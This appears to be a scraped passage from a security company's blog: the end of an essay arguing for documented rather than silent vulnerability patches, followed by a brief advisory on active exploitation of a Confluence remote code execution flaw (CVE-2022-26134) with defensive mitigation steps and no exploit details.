It’s still true that you’re excluding the casual attacker (or “script kiddie,” in the common parlance), and that’s great and desirable. However, you’re also excluding a huge population of IT protectors: penetration testers who are paid to write and run exploits to test defenses leap to mind, in addition to the folks who write and deploy defensive technologies like vulnerability management, intrusion detection and prevention, incident detection, and all the rest. You also exclude tech journalists, academics, and policy makers who want to understand and communicate the nature of software vulnerabilities, but who aren’t likely to bust out a disassembler.

Most significantly, you’re excluding the most important audience for your patch: the regular IT administrators and managers who need to sort out the incoming flow of patches based on some risk and severity criteria and make the call for downtime and update scheduling based on that criteria. Not all vulnerabilities are equal, and while protectors want to get around to all of them, they need to figure out which ones to apply today and which ones can wait for the next maintenance cycle.

By the way, it’s true that some of these IT professionals also have the capability to reverse-engineer your patch. In practice, people who are only interested in keeping IT humming never, ever reverse patches to see if they’re worth applying. It’s way too complicated and time-consuming. I’ve never seen a case where this is part of the decision-making process to patch now or later.

Don’t leave defenders in the dark

So now, let’s reexamine the case for silent patching yet again: When you silently patch, you are communicating vulnerability details, exclusively, to skilled, criminal attackers who are specifically targeting your product, while leaving your customers in the dark. You are intentionally withholding information from casual attackers, secondary defenders, and your customers and users who are desperate to make informed security engineering decisions involving your product or project. Oh, and let’s not forget, you’re also limiting knowledge about these fixed vulnerabilities from future employees and contributors, who very well might re-introduce the same or similar bugs in your product down the road. After all, the details are secret, even from future-you.

All this is to say, silent patching is tantamount to full disclosure to a very small audience who mostly want to hurt you and your users. Fully documented patches reach the much, much larger audience of people, present and future, who want to help you and your users. While it’s true that you are also offering educational opportunities to casual attackers along the way, I believe the global population of casual attackers is much, much smaller than your legitimate users and all the secondary and tertiary defenders who are on your side.

So, next time a vulnerability researcher states their intention of publishing details about their reported (and now patched) vulnerability, try to examine your urge to keep those details under wraps, and maybe even encourage them to be honest and transparent with their findings. The alternative is to build up the operational capabilities of the true criminal and espionage enterprises while degrading the decision-making power of IT protectors.

Additional reading:

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

Active Exploitation of Confluence CVE-2022-26134

Post Syndicated from Rapid7 original https://blog.rapid7.com/2022/06/02/active-exploitation-of-confluence-cve-2022-26134/

Active Exploitation of Confluence CVE-2022-26134

On June 2, 2022, Atlassian published a security advisory for CVE-2022-26134, a critical unauthenticated remote code execution vulnerability in Confluence Server and Confluence Data Center. The vulnerability is unpatched as of June 2 and is being exploited in the wild.

Affected versions include Confluence Server version 7.18.0. According to Atlassian’s advisory, subsequent testing indicates that versions of Confluence Server and Data Center >= 7.4.0 are potentially vulnerable. There may also be other vulnerable versions not yet tested.

Security firm Volexity has in-depth analysis of attacks they have observed targeting CVE-2022-26134, including indicators of compromise and hunting rules.

Mitigation guidance

In the absence of a patch, organizations should restrict or disable Confluence Server and Confluence Data Center instances on an emergency basis. They should also consider implementing IP address safelisting rules to restrict access to Confluence.

For those unable to apply safelist IP rules to their Confluence server installations, consider adding WAF protection. Based on the details published so far, which admittedly are sparse, we recommend adding Java Deserialization rules that defend against RCE injection vulnerabilities, such as CVE-2021-26084. You can find an example here.

Rapid7 customers

We are investigating options for a vulnerability check to allow InsightVM and Nexpose customers to assess their exposure to CVE-2022-26134. We will update this blog as new information becomes available.

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.